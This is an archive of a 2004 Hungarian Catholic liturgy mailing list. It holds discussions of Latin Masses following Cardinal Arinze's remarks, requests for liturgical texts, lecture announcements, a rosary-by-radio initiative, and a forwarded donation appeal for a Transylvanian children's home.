References: <000701c43227$5e786b80$0100a8c0@biacsi> Message-ID: <006401c4378d$04a8bc20$497bec91@verbnyiistvn> Kedves Dávid, kedves Listatagok! Nem tudom, mi lehet az, ami akkora vihart kavar. Végig olvastam, inkább egy összefoglalónak tartom. Pl. érdekes, hogy a kézbe áldoztatás kérdéséhez mit szólnak azok, akik megtagadják azt a hívőtől. Még annyit: a magyar fordítás készül, remélem, júniusban már magyarul is kézbe kerül. A franciaországi helyzeképhez - szerintem - nem külön magyarázat. Sajnálatos! Üdv! Verbényi István MALEZI From varga.zoltan@piarista-koll.sulinet.hu Mon May 17 07:10:56 2004 From: varga.zoltan@piarista-koll.sulinet.hu (=?windows-1250?Q?Varga_Zolt=E1n?=) Date: Mon, 17 May 2004 08:10:56 +0200 Subject: [Liturgia] =?windows-1250?Q?angolesket=E9s_?= Message-ID: <000501c43bd5$b8a35040$a000a8c0@vargaz> Szíves kérésem! Angol esketési szöveget ki tudna küldeni a címemre? Hálás köszönnetem: Varga Zoltán piarista Sátoraljaújhely (hegyközi paptestévremnek lenne rá szüksége...) From idozsa@katolikus.hu Tue May 18 15:23:40 2004 From: idozsa@katolikus.hu (=?iso-8859-2?Q?D=F3zsa_Istv=E1n?=) Date: Tue, 18 May 2004 16:23:40 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_angolesket=E9s_?= In-Reply-To: <000501c43bd5$b8a35040$a000a8c0@vargaz> References: <000501c43bd5$b8a35040$a000a8c0@vargaz> Message-ID: > Szíves kérésem! Angol esketési szöveget ki tudna küldeni a címemre? Hálás > köszönnetem: Varga Zoltán piarista Sátoraljaújhely (hegyközi > paptestévremnek lenne rá szüksége...) A Virtuális Plébánia (www.plebania.net) találsz. Kicsit el van dugva: Hittanterem -> szentségek -> házasság -> angol magyar házasságkötési liturgia Szeretettel: István -- -.-.-.-.-.-.-.-.-.-.-.-.-.-.- Dózsa István Szfvár egyházmegye www.plebania.net www.emberhalasz.net From =?ISO-8859-1?Q?Vajdas=E1gi_Kereszt=E9ny_Ifj=FAs=E1g?= Mon May 24 10:39:35 2004 From: =?ISO-8859-1?Q?Vajdas=E1gi_Kereszt=E9ny_Ifj=FAs=E1g?= (=?ISO-8859-1?Q?Vajdas=E1gi_Kereszt=E9ny_Ifj=FAs=E1g?=) Date: Mon, 24 May 2004 9:39:35 Subject: [Liturgia] =?ISO-8859-1?Q?K=E9r=E9s?= Message-ID: <200405240739.i4O7dZq26724@deedee.tippnet.co.yu>

Tisztelt Listatagok!

Számítógépes formában keresem a következőket:

-Límai liturgia ( ha van magyar nyelven is);
-Római liturgia (latinul, magyarul).

Ha valakinek meg van, vagy tudja a fellelhetőségét, kérem jelezze.

Előre is köszönöm,

Jágity Csilla
Irodavezető,
VKI Szabadka



________________________________________________
TippNet Webmail
From hasic@freemail.hu Mon May 24 11:49:49 2004 From: hasic@freemail.hu (=?ISO-8859-2?Q?Kridlo_P=E9ter?=) Date: Mon, 24 May 2004 12:49:49 +0200 (CEST) Subject: [Liturgia] =?ISO-8859-2?Q?mor=E1lis_szakdolgozat?= Message-ID: Kedves listatagok! Elnézést, hogy csak most írok de korábban nem tudtam géphez ülni. Mindenkinek köszönöm a kedves segítségét a morális szakdolgozathoz. Az Úr bőséges áldását kérem mindannyiótokra! in Christo Kridlo Péter From pasaret@ofm.hu Mon May 31 21:20:36 2004 From: pasaret@ofm.hu (pasaret) Date: Mon, 31 May 2004 22:20:36 +0200 Subject: [Liturgia] =?iso-8859-2?Q?m=FCveszet=2Del=F6adas?= Message-ID: <40BB9393.19D5E7B6@ofm.hu> A pasaréti egyházművészeti esték keretében június 2-án, a 18.40-kor kezdődő zsolozsma után fr. Kálmán Peregrin tart előadást: Assisi Szegénye és Isten gazdagsága - a ferences művészet pillérei címmel. From pasaret@ofm.hu Wed Jun 2 06:40:32 2004 From: pasaret@ofm.hu (pasaret) Date: Wed, 02 Jun 2004 07:40:32 +0200 Subject: [Liturgia] latin =?iso-8859-2?Q?mis=E9k?= Message-ID: <40BD684F.D4286EAF@ofm.hu> Francis Arinze bíboros a latin nyelvű szentmisékről Vatikán: Az Istentiszteleti és Szentségi Kongregáció nigériai származású prefektusa a Vatikáni Rádióban nyilatkozva elmondta: sokkal többször lenne szükség latin nyelvű szentmisékre. A főpásztor szerint azokban a templomokban, ahol vasárnap több szentmisét mutatnak be, legalább egyet latinul kellene végezni, hogy a hívek szabadon választhassanak a népnyelvi és a latin liturgia között. Itt emlékeztetünk, hogy a II. Vatikáni Zsinat Sacrosanctum Concilium kezdetű, liturgikus reformot meghirdető konstitúciója értelmében az egyház liturgikus nyelve továbbra is a latin, de lehetőség nyílik népnyelvi liturgiára is. A híveknek azonban tudniuk kell a szentmise állandó részeit latinul, énekelve. VR/MK From satya@hcbc.hu Wed Jun 2 06:52:56 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Wed, 2 Jun 2004 07:52:56 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_latin_mis=E9k?= References: <40BD684F.D4286EAF@ofm.hu> Message-ID: <008001c44865$fe564560$66d4fea9@duron> ez nyilván a jelenlegi miserend latin nyelvű végzésére utal. a közelmúlt disputáiban sokkal inkább a régi rendű szentmise végzéséről volt szó. Esztergomban, amikor 87-től kispapként ott voltam, a 9-es mise latin volt, de alig voltak rajta néhányan. később meg is szűnt, mert egyre kevesebb volt a pap, és nem volt, aki végezze. nem a latin tudás hiánya miatt... satya ----- Original Message ----- From: "pasaret" To: "'Liturgikus Lista'" Sent: Wednesday, June 02, 2004 7:40 AM Subject: [Liturgia] latin misék > Francis Arinze bíboros a latin nyelvű szentmisékről > > Vatikán: Az Istentiszteleti és Szentségi Kongregáció nigériai származású > prefektusa a Vatikáni Rádióban nyilatkozva elmondta: sokkal többször > lenne szükség latin nyelvű szentmisékre. A főpásztor szerint azokban a From totus@chello.hu Wed Jun 2 22:32:51 2004 From: totus@chello.hu (=?iso-8859-2?B?VPN0aCBHeXVsYQ==?=) Date: Wed, 2 Jun 2004 23:32:51 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_latin_mis=E9k?= References: <40BD684F.D4286EAF@ofm.hu> Message-ID: <001001c448e9$286f9e40$40ab6250@c6m5w9> Tíz éve kerültem ide, Veszprémbe, és időről időre jöttek hozzám hívek, akik "nosztalgiáztak" a régi latin mise iránt, hogy ilyen meg olyan szép volt az, még ha nem is értették... No, 1997-ben elhatároztam, hogy tartok latin nyelvű misét. Pünkösdhétfőn a délelőtt 10 órai "nagymisét" szemeltem ki, hiszen kapcsolható az ünnephez, a pünkösdi nyelvcsodához, a soknyelvű tömeget a Szentlélek egyesítette, s mindnyájan értették, amit az apostolok hirdettek. Latin ma is az egyház hivatalos nyelve, amely kifejezi ezt az egységet is. Azóta a pünkösdhétfői "nagymise" latin mise (természetesen a II. Vatikáni Zsinat utáni, megújult liturgiával). Eleinte a bűnbánati részt és az áldozás előtti imát is még magyarul végeztük, de ma már csak az olvasmányok és a prédikáció van magyarul. Kézbe kapják a hívek a válaszokat, énekeket. Az I. gregorián misét énekeljük, a kórus a Pünkösd ünnepének a gregorián énekeit. Eredmény: Azóta senki nem jött a latin mise iránti "nosztalgiával", viszont tele van a templom ezen a misén (ünnep másnapjához képest jóval többen vannak). Úgy tűnik, ez az évi egy alkalom elég is ehhez. Egyébként én a magam részéről nem tartanám elvetendőnek, hogy a püspöki székesegyházakban legyen vasárnaponta, vagy legalább havonta egy latin mise, nem "nosztalgiából", nem a latin nyelv iránti vonzalomból (sajnos, nem tudok annyira latinul), hanem egyszerűen azért, hogy kifejezzük, hogy a római egyház "hivatalon nyelve" ma is a latin, még akkor is, ha alig, vagy egyáltalán nem használjuk. Üdv mindenkinek! T. Gyula Veszprémből. From verbenyi@axelero.hu Thu Jun 3 14:28:53 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Thu, 3 Jun 2004 15:28:53 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_latin_mis=E9k?= References: <40BD684F.D4286EAF@ofm.hu> Message-ID: <007701c4496e$bb8c97c0$e202a8c0@maleziigazgato> Francis Arinze bíboros csak megerősítette azt, amit a Liturgikus Konstitúció (SC) 54. és az utalt pontokban előír. Soha nem volt tilos a latin nyelven való liturgia végzés, legföljebb szélsőséges személyek gondoltak és eröltettek anyanyelvi kizárólagos használatot. 1874-81-ig voltam Esztergomban énektanár, és minden vasárnap 9 órakor (amint ezt valaki már írta) latin nyelven volt a káptalani mise. Tanulmányi ideje alatt minden kispap 7 latin Ordináriumot tanult meg (adottságaitól függően), és néhány változó részt is. Ma is tudok számos templomról, ahol meghatározott alkalmakkor latin nyelvű szentmisét tartanak. Különösen idegenforgalmilag látogatott helyeken nagyon fontos. Nálunk plébániai gyakorlat volt, ha külföldi pap jött, és nem volt közös nyelv (pl. német, olasz), akkor a kánont latinul végeztük (ez nem volt mindig sikeres, mert a latin nyelv ismerete nem volt általános). Szíves figyelmükbe ajánlom a paptestvéreknek a Missale Romanum 2002. évi latin kiadását (Rómában járva be lehet szerezni), mert tartalmazza az új szentek miseszövegeit, és ami nagy előny, hogy az énekelt részeket kottázva hozza. Ahol pedig változó részeket is szeretnének gregorián dallammal énekelni, minden énekanyag megtalálható a Graduale Romanumban, vagy a Graduale Triplexben (három legrégibb kódex zenei jelzéseit is hozza). Akinek bármiféle segítségre van ebben szüksége (pl. egy mise kotta anyaga, vagy latin miseszöveg, stb.), szívesen segítünk. Adatainkat lásd a www.malezi.hu honlapon. A közelmúltban templomunkban volt latin mise, amit a káplán atya végzett, és én magam is szívesen beálltam a kórusba énekelni, és nagyon élveztem, hogy eddig nem énekelt Ordinárium szólalt meg a változó részekkel együtt. Mindenesetre jól elő kell készíteni egy ilyen misét, ahogy azt veszprémi kollégánk írta. Jó munkát! Üdv! Verbényi István MALEZI ----- Original Message ----- From: "pasaret" To: "'Liturgikus Lista'" Sent: Wednesday, June 02, 2004 7:40 AM Subject: [Liturgia] latin misék Francis Arinze bíboros a latin nyelvű szentmisékről Vatikán: Az Istentiszteleti és Szentségi Kongregáció nigériai származású prefektusa a Vatikáni Rádióban nyilatkozva elmondta: sokkal többször lenne szükség latin nyelvű szentmisékre. A főpásztor szerint azokban a templomokban, ahol vasárnap több szentmisét mutatnak be, legalább egyet latinul kellene végezni, hogy a hívek szabadon választhassanak a népnyelvi és a latin liturgia között. Itt emlékeztetünk, hogy a II. Vatikáni Zsinat Sacrosanctum Concilium kezdetű, liturgikus reformot meghirdető konstitúciója értelmében az egyház liturgikus nyelve továbbra is a latin, de lehetőség nyílik népnyelvi liturgiára is. A híveknek azonban tudniuk kell a szentmise állandó részeit latinul, énekelve. VR/MK _______________________________________________ Liturgia levelező lista Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm From satya@hcbc.hu Thu Jun 3 14:41:10 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Thu, 3 Jun 2004 15:41:10 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Re:_=5BLiturgia=5D_latin_mis=E9k?= References: <40BD684F.D4286EAF@ofm.hu> <007701c4496e$bb8c97c0$e202a8c0@maleziigazgato> Message-ID: <019101c44970$7a88b180$66d4fea9@duron> kedves István atya! Hogy mik derülnek itt ki!! :)) Ákos atya ----- Original Message ----- From: "Verbényi István" To: "pasaret" ; "'Liturgikus Lista'" Sent: Thursday, June 03, 2004 3:28 PM Subject: [Liturgia] Re: [Liturgia] latin misék > eröltettek anyanyelvi kizárólagos használatot. 1874-81-ig voltam > Esztergomban énektanár, From verbenyi@axelero.hu Thu Jun 3 20:16:20 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Thu, 3 Jun 2004 21:16:20 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Re:_=5BLiturgia=5D_Re:_=5BLiturgia=5D_l?= =?iso-8859-2?Q?atin_mis=E9k?= References: <40BD684F.D4286EAF@ofm.hu> <007701c4496e$bb8c97c0$e202a8c0@maleziigazgato> <019101c44970$7a88b180$66d4fea9@duron> Message-ID: <009a01c4499f$47167ba0$13dbec91@verbnyiistvn> Valóban, csak egy évszázadot írtam el. ----- Original Message ----- From: "Fülöp Ákos" To: "Liturgikus levelezőlista" Sent: Thursday, June 03, 2004 3:41 PM Subject: [Liturgia] Re: [Liturgia] Re: [Liturgia] latin misék kedves István atya! Hogy mik derülnek itt ki!! :)) Ákos atya ----- Original Message ----- From: "Verbényi István" To: "pasaret" ; "'Liturgikus Lista'" Sent: Thursday, June 03, 2004 3:28 PM Subject: [Liturgia] Re: [Liturgia] latin misék > eröltettek anyanyelvi kizárólagos használatot. 1874-81-ig voltam > Esztergomban énektanár, _______________________________________________ Liturgia levelező lista Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm From Bednarik_Anasztazia@level.datanet.hu Fri Jun 4 06:11:55 2004 From: Bednarik_Anasztazia@level.datanet.hu (Bednarik_Anasztazia@level.datanet.hu) Date: Fri, 4 Jun 2004 07:11:55 +0200 Subject: [Liturgia] =?iso-8859-2?Q?latin_mis=E9k?= Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C44A03.3B54B160 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Mindny=E1jan! Csak egy -rem=E9lem sz=EDvder=EDt=F5- latin mis=E9vel kapcsolatos h=EDrt = tenn=E9k k=F6zz=E9: n=E1lunk V=E1cott a Ferences templomban tan=E9vben minden = h=F3nap els=F5 szombatj=E1n latin mise van. A teljes mise latinul van, term=E9szetesen kiv=E9ve az olvasm=E1nyokat. Zenei anyag=E1t tekintve =E9vente 2-3-szor Palestrina mise hangzik fel egy bar=E1ti t=E1rsas=E1g el=F5ad=E1s=E1ban, = illetve szint=E9n alkalmi zen=E9sz team a Graduale Triplex napi proprium=E1t = =E9nekli. A templom kis k=F3rusa (ink=E1bb id=F5sek!) pedig a Simplexb=F5l =E9nekel, = n=E9h=E1ny k=F6nnyebb GT t=E9tellel f=FBszerezve. Term=E9szetesen az ordin=E1rium = is gregori=E1n mise, nemcsak a VIII. ...... =CDgy megosztva el tudjuk = l=E1tni az =E9vi 9 alkalmat. K=F6r=FClbel=FCl 3 =E9vet csin=E1ltunk m=E1r =EDgy = v=E9gig. A tapasztalat az, hogy a teljes cs=F6ndt=F5l eljutottunk od=E1ig, hogy a = h=EDvek a kiosztott latin sz=F6veget m=E1r mondj=E1k vel=FCnk. A k=F6z=F6s = =E9nekl=E9sig m=E9g nem jutottunk el, kiv=E9ve a Missa Mundit, amit egy-k=E9t alkalommal = pr=F3b=E1ltunk =E9nekelni. Ez a j=F6v=F5 feladata.=20 A visszajelz=E9sekb=F5l kider=FClt, hogy a latin mis=E9t szeretik, = k=FCl=F6n=F6sen az id=F5sebbek, akikben ez r=E9gi eml=E9kk=E9nt van jelen.A fiatalabbak = pedig sz=EDvesen veszik a gregori=E1nt. Mindig el=F5re kihirdetj=FCk, t=F6bben = m=E1r el=F5re sz=E1m=EDtanak r=E1. Term=E9szetesen Bokros Levente atya = (templomigazgat=F3nk) tev=E9keny t=E1mogat=E1sa n=E9lk=FCl nem lenne ilyesmi. B=E1tran tudjuk = m=E1soknak is javasolni! =20 Mindenkit szeretettel =FCdv=F6z=F6lve: Bednarik Anaszt=E1zia =20 ------=_NextPart_000_0005_01C44A03.3B54B160 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Kedves Mindny=E1jan!

Csak egy –rem=E9lem sz=EDvder=EDt=F5- latin = mis=E9vel kapcsolatos h=EDrt tenn=E9k k=F6zz=E9: n=E1lunk V=E1cott a Ferences = templomban tan=E9vben minden h=F3nap els=F5 szombatj=E1n latin mise van. A teljes mise latinul = van, term=E9szetesen kiv=E9ve az olvasm=E1nyokat. Zenei anyag=E1t tekintve =E9vente 2-3-szor = Palestrina mise hangzik fel egy bar=E1ti t=E1rsas=E1g el=F5ad=E1s=E1ban, illetve = szint=E9n alkalmi zen=E9sz team a Graduale Triplex napi proprium=E1t =E9nekli. A templom kis = k=F3rusa (ink=E1bb id=F5sek!) pedig a Simplexb=F5l =E9nekel, n=E9h=E1ny k=F6nnyebb GT = t=E9tellel f=FBszerezve. Term=E9szetesen az ordin=E1rium is gregori=E1n mise, nemcsak a VIII. = ...... =CDgy megosztva el tudjuk l=E1tni az =E9vi 9 alkalmat. K=F6r=FClbel=FCl 3 = =E9vet csin=E1ltunk m=E1r =EDgy v=E9gig. A tapasztalat az, hogy a teljes cs=F6ndt=F5l eljutottunk = od=E1ig, hogy a h=EDvek a kiosztott latin sz=F6veget m=E1r mondj=E1k vel=FCnk. A = k=F6z=F6s =E9nekl=E9sig m=E9g nem jutottunk el, kiv=E9ve a Missa Mundit, amit egy-k=E9t alkalommal = pr=F3b=E1ltunk =E9nekelni. Ez a j=F6v=F5 feladata.

A visszajelz=E9sekb=F5l kider=FClt, hogy a latin = mis=E9t szeretik, k=FCl=F6n=F6sen az id=F5sebbek, akikben ez r=E9gi eml=E9kk=E9nt van = jelen.A fiatalabbak pedig sz=EDvesen veszik a gregori=E1nt. Mindig el=F5re kihirdetj=FCk, t=F6bben = m=E1r el=F5re sz=E1m=EDtanak r=E1. Term=E9szetesen Bokros = Levente atya (templomigazgat=F3nk) tev=E9keny t=E1mogat=E1sa n=E9lk=FCl nem lenne = ilyesmi. B=E1tran tudjuk m=E1soknak is javasolni!

 

Mindenkit szeretettel = =FCdv=F6z=F6lve:

Bednarik = Anaszt=E1zia

 

------=_NextPart_000_0005_01C44A03.3B54B160-- From pasaret@ofm.hu Sat Jun 5 14:25:06 2004 From: pasaret@ofm.hu (pasaret) Date: Sat, 05 Jun 2004 15:25:06 +0200 Subject: [Liturgia] =?iso-8859-2?Q?egyhazm=FCveszeti=20el=F6adas?= Message-ID: <40C1C9B2.1C29A34B@ofm.hu> A pasaréti egyházművészeti esték keretében június 9-én, a 18.40-kor kezdődő zsolozsma után Cságoly Ferenc Kossuth-díjas építész, a korábbi nagy érdeklődésre való tekintettel, megismétli a ciszterci építészetről szóló előadását. From seidlamb@freemail.hu Sat Jun 5 18:59:41 2004 From: seidlamb@freemail.hu (Seidl Ambrus) Date: Sat, 05 Jun 2004 19:59:41 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Az_im=E1ds=E1g_hull=E1mhossz=E1n?= Message-ID: <006c01c44b28$01f958f0$9f39a3d5@otthon2> This is a multi-part message in MIME format. --Boundary_(ID_DqLrYTq7wYulETCEB0OHsw) Content-type: text/plain; charset=iso-8859-2 Content-transfer-encoding: quoted-printable =DCdv! Kedves Aty=E1k, Listat=E1rsak! Szeretn=E9m egy =F6r=F6m=F6met megosztani veletek, =E9s az =F6r=F6m=F6t = =FAtj=E1ra is bocs=E1tani. Ma d=E9lut=E1n tartottam a R=F3zsaf=FCz=E9r T=E1rsulatnak titokcser=E9t, = =E9s ott vetettem fel az IM=C1DS=C1G HULL=C1MHOSSZ=C1N gondolat=E1t: = hogy heti egy alkalommal, jeles=FCl szombaton (n=E1lunk este 6-kor van = szentmise) este 7-t=F5l a Magyar Katolikus R=E1di=F3val egy=FCtt = im=E1dkozzuk a R=F3zsaf=FCz=E9rt a templomban. (Egy kis r=E1di=F3r=F3l = vezettem be a hangot az er=F5s=EDt=E9sbe.). A kezdem=E9nyez=E9st = =F6r=F6mmel fogadt=E1k (itt is maradtak im=E1dkozni), =E9s k=E9rt=E9k, = hogy terjesszem az =F6tletet, hogy min=E9l t=F6bb templomban, vagy = otthon, k=F6z=F6sen vagy egy=E9nileg, legy=FCnk egy=FCtt az im=E1ds=E1g = hull=E1mhossz=E1n a R=E1di=F3val. Ha ez elterjedne =E9s min=E9l t=F6bb = helyen megval=F3sulna, k=FCl=F6n lehetne olyan sz=E1nd=E9kokat = kigondolni ezekre a szombatokra, amiket olyan fontosnak =EDt=E9lnek, = hogy "egyszerre, egy id=F5ben" im=E1dkozzanak =E9rte sokfel=E9. Tal=E1n = m=E9g ahhoz is seg=EDts=E9get ny=FAjt, hogy a Mindszenty b=EDboros = k=EDv=E1ns=E1ga szerinti egymilli=F3 magyar hamarabb =F6sszej=F6jj=F6n.=20 Nb. A gondolat a Szentaty=E1val val=F3 k=F6z=F6s im=E1dkoz=E1s = nemr=E9giben kialak=EDtott alkalmai alapj=E1n sz=FCletett. Hiszek a k=F6z=F6s im=E1dkoz=E1s erej=E9ben! =DCdv: + +++ + + + + + + + * * * * * * * *=20 + K=FCldte: + + SEIDL + + Ambrus + + pl=E9b=E1nos ++++++++++++++++++++++ + 6800. H=F3dmez=F5v=E1s=E1rhely, Andr=E1ssy u. 11. + + Tel: 62/ 533-265 + .R=E1di=F3: 20/9689090 + + Villanyposta c=EDmem: seidlamb@freemail.hu + + Honlap: http://www.nexus.hu/seidlambrus + ****************************************************** L=E1togasson el honlapunkra, ahol n=E9h=E1ny 3D k=E9pet l=E1that=20 a templomunkr=F3l =E9s a pl=E9b=E1niakertr=F5l is:=20 http://www.hodmezovasarhely_plebania.vnet.hu=20 --Boundary_(ID_DqLrYTq7wYulETCEB0OHsw) Content-type: text/html; charset=iso-8859-2 Content-transfer-encoding: quoted-printable
=DCdv!
Kedves Aty=E1k, = Listat=E1rsak!
Szeretn=E9m egy =F6r=F6m=F6met = megosztani veletek,=20 =E9s az =F6r=F6m=F6t =FAtj=E1ra is bocs=E1tani.
Ma d=E9lut=E1n tartottam a = R=F3zsaf=FCz=E9r=20 T=E1rsulatnak titokcser=E9t, =E9s ott vetettem fel az IM=C1DS=C1G = HULL=C1MHOSSZ=C1N=20 gondolat=E1t: hogy heti egy alkalommal, jeles=FCl szombaton (n=E1lunk = este 6-kor van=20 szentmise) este 7-t=F5l a Magyar Katolikus R=E1di=F3val egy=FCtt = im=E1dkozzuk a=20 R=F3zsaf=FCz=E9rt a templomban. (Egy kis r=E1di=F3r=F3l vezettem be a = hangot az=20 er=F5s=EDt=E9sbe.). A kezdem=E9nyez=E9st =F6r=F6mmel fogadt=E1k (itt is = maradtak im=E1dkozni), =E9s=20 k=E9rt=E9k, hogy terjesszem az =F6tletet, hogy min=E9l t=F6bb = templomban, vagy otthon,=20 k=F6z=F6sen vagy egy=E9nileg, legy=FCnk egy=FCtt az im=E1ds=E1g = hull=E1mhossz=E1n a R=E1di=F3val. Ha=20 ez elterjedne =E9s min=E9l t=F6bb helyen megval=F3sulna, k=FCl=F6n = lehetne olyan sz=E1nd=E9kokat=20 kigondolni ezekre a szombatokra, amiket olyan fontosnak =EDt=E9lnek, = hogy=20 "egyszerre, egy id=F5ben" im=E1dkozzanak =E9rte sokfel=E9. Tal=E1n m=E9g = ahhoz is seg=EDts=E9get=20 ny=FAjt, hogy a Mindszenty b=EDboros k=EDv=E1ns=E1ga szerinti = egymilli=F3 magyar hamarabb=20 =F6sszej=F6jj=F6n.
Nb. A gondolat a Szentaty=E1val = val=F3 k=F6z=F6s=20 im=E1dkoz=E1s nemr=E9giben kialak=EDtott alkalmai alapj=E1n = sz=FCletett.
Hiszek a k=F6z=F6s im=E1dkoz=E1s=20 erej=E9ben!
=DCdv:
          =20 +
        =20 +++
          =20 +
       +    =20 +
  =20 +            = =20 +
+           &= nbsp;      =20 +
* * * * * * * *
+    K=FCldte:    = +
+    SEIDL    +
+  =20 Ambrus    +
+   pl=E9b=E1nos  =20 ++++++++++++++++++++++
+  6800. H=F3dmez=F5v=E1s=E1rhely, = Andr=E1ssy u. 11.=20 +
+  Tel: 62/ 533-265  +  .R=E1di=F3: = 20/9689090  =20 +
+  Villanyposta c=EDmem:  seidlamb@freemail.hu = +
+ =20 Honlap:  http://www.nexus.hu/seidlambrus<= /A>  =20 +
******************************************************
L=E1togass= on el=20 honlapunkra, ahol n=E9h=E1ny 3D k=E9pet l=E1that
a templomunkr=F3l = =E9s a=20 pl=E9b=E1niakertr=F5l is:
http://www.hodmezov= asarhely_plebania.vnet.hu=20
--Boundary_(ID_DqLrYTq7wYulETCEB0OHsw)-- From SZILAGYI@hpo.hu Tue Jun 8 11:08:40 2004 From: SZILAGYI@hpo.hu (Szilagyi Jozsef) Date: Tue, 8 Jun 2004 12:08:40 +0200 Subject: [Liturgia] =?ISO-8859-1?Q?Magyar_Katolikus_R=E1di=F3?= Message-ID: <40C5AC47.24399.CEFED8@localhost> Kedves Listatársak! Örömmel hallottam az "Imádság hullámhosszán" gondolatról, mely szerint a Magyar Katolikus Rádióval és egymással együtt imádkoznánk. A gondom az, hogy még nem sikerült a katolikus adót megtalálnom. Lehet fogni egyáltalán a Magyar Katolikus Rádió adását Budapesten? Ha igen, milyen hullámhosszon? Köszönettel és üdvözlettel: Szilágyi József From orsi@florka.hu Tue Jun 8 11:35:45 2004 From: orsi@florka.hu (Orsi) Date: Tue, 8 Jun 2004 12:35:45 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Magyar_Katolikus_R=E1di=F3?= Message-ID: <001701c44d44$5b45ea40$1600a8c0@orsi> This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C44D55.1EB4A290 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Szia! www.katolikusradio.hu k=F6z=E9phull=E1m (AM vagy MW) 1341 kHz Ezt pr=F3b=E1ltad? Sz=E9p napot! Orsi ------=_NextPart_000_0014_01C44D55.1EB4A290 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Szia!

www.katolikusradio.hu

k=F6z=E9phull=E1m (AM vagy MW) 1341 = kHz
Ezt=20 pr=F3b=E1ltad?

Sz=E9p = napot!
Orsi
------=_NextPart_000_0014_01C44D55.1EB4A290-- From imre.kelemen@atrtnet.hu Tue Jun 8 22:22:05 2004 From: imre.kelemen@atrtnet.hu (Kelemen Imre) Date: Tue, 8 Jun 2004 23:22:05 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Fw:_erd=E9lyi_gyermekotthon?= Message-ID: <000f01c44d9e$b7e312a0$ab02a8c0@infotrade> ----- Original Message ----- From: "Kelemen Imre" To: "Veres Tünde" ; "Szőnyi Etelka" ; "Szabó Terézia dr" ; "Seidl Ambrus" ; "RaczDoktoR" ; "Laurinyecz Mihály dr." ; "Kovács Zsolt dr." ; "erdeiida" ; "Cseplák György dr." Sent: Tuesday, June 08, 2004 3:57 PM Subject: Fw: erdélyi gyermekotthon > > ----- Original Message ----- > From: "Cerebellum" > To: ; ; > ; ; ; > ; ; ; > ; ; > ; > Sent: Tuesday, June 08, 2004 1:25 PM > Subject: FW: erdélyi gyermekotthon > > > > balint@archeo.mta.hu; zsolt.bartfai@gx.novartis.com; > > benyik@theol.u-szeged.hu; m.burger2@chello.hu; ryan123@freemail.hu; > > netty12@axelero.hu; dsb.zaki@napnet.hu; szepa@in1st.szote.u-szeged.hu; > > szolnoky@derma.szote.u-szeged.hu; erdelyisz@axelero.hu; > > erika.kele@gx.novartis.com; fodor59.gabor@axelero.hu; > > kakuszip@freemail.hu; hajdu.gabor@fornax.hu; medarskp@bekesnet.hu; > > gaal_ferenc@axelero.hu; kissja@deltav.hu; > > lehoczky@dmi.szote.u-szeged.hu; edwards@enternet.hu; priol1@freemail.hu; > > gyorgyi@gi.szote.u-szeged.hu; monikaz@freemail.hu; dr Tholt Mária > > mtholt@monornet.hu]; dr.Augustin Béla; dr.Kindlovits Mária; Dr. Lelik > > Ferenc; Dóra Kiss; Kiss Eszter"Szabó Alexandra dr." > > "Valkó Emöke" > > ; > > ; > > > Subject: FW: erdélyi gyermekotthon > > > > Kedves Címzettjeim: barátaim, rokonaim, ismerőseim! > > > > Kérlek Benneteket, ne úgy olvassátok el ezt, mint már megint egyet a > > sok-sok > > "szemét"-ként továbbított levelek közül. > > Ezt a kérést valóban az erdélyiek küldték el, és (szerintem többen > > közületek) nagyon is jól tudják, hogy ez a "valóság". > > (nem ami a médiában megy valóság címszó alatt...) > > Azt hiszem, Nektek, akiknek ezt elküldtem, egy mozijegy ára valóban > > nélkülözhető... (természetesen, ha valaki szeretne, többet is elküldhet) > > De ennyit megtehetünk, ahogy az Úr kérte, egynek a legkisebbek közül... > > hogy bemegyünk a bankunkba és erre a számlaszámra 500-1000 Ft-ot > > utalunk, ugye? Vagy egyszerűen a telefonon - vagy akár Interneten - ki > > hogy szokott "bankolni"... Néhány perc csupán... > > Igazán nem kerül sok időbe, energiába... De el nem tudjátok képzelni, > > mekkora segítség lesz... > > Köszönöm - én is - és gondolom a rászorultak is... > > > > Kelemen Éva > > > > -----Eredeti üzenet----- > > Feladó: Csaba Gábor [SMTP:GCsaba@kum.hu] > > Küldve: 2004.június.4. 10:11 > > Tárgy: FW: erdélyi gyermekotthon > > > > Olvassátok el, adjátok tovább, aki tud, segítsen! > > TÁRGY: Böjte Csaba segítséget kér > > > > > Egy mozijegy ára > > > > Erdélyben kigyulladt a dévai Böjte Csaba atya által épített szovátai > > gyermekotthon. Nyár elején adták volna át a mezogazdasági épületekbol > > átalakított árvaházat. Huszonvalahány magyar gyermeket azonnal el > > kellett költöztetni, a beköltözésre várók sorsa pedig bizonytalanná > > vált. > > Újra felépíteni szinte reménytelen. Vagy mégsem? Sajnálkozunk csak, vagy > > teszünk is valamit? > > > > > > > > > Kérek mindenkit, aki látta Mel Gibson: Passió címu > > filmjét, hogy mozijegyének árát az alábbi számlaszámra fizesse be: > > > > > > > > > Dévai Szent Ferenc Alapítvány > > > > > > > Magyar Külkereskedelmi Bank Rt. > 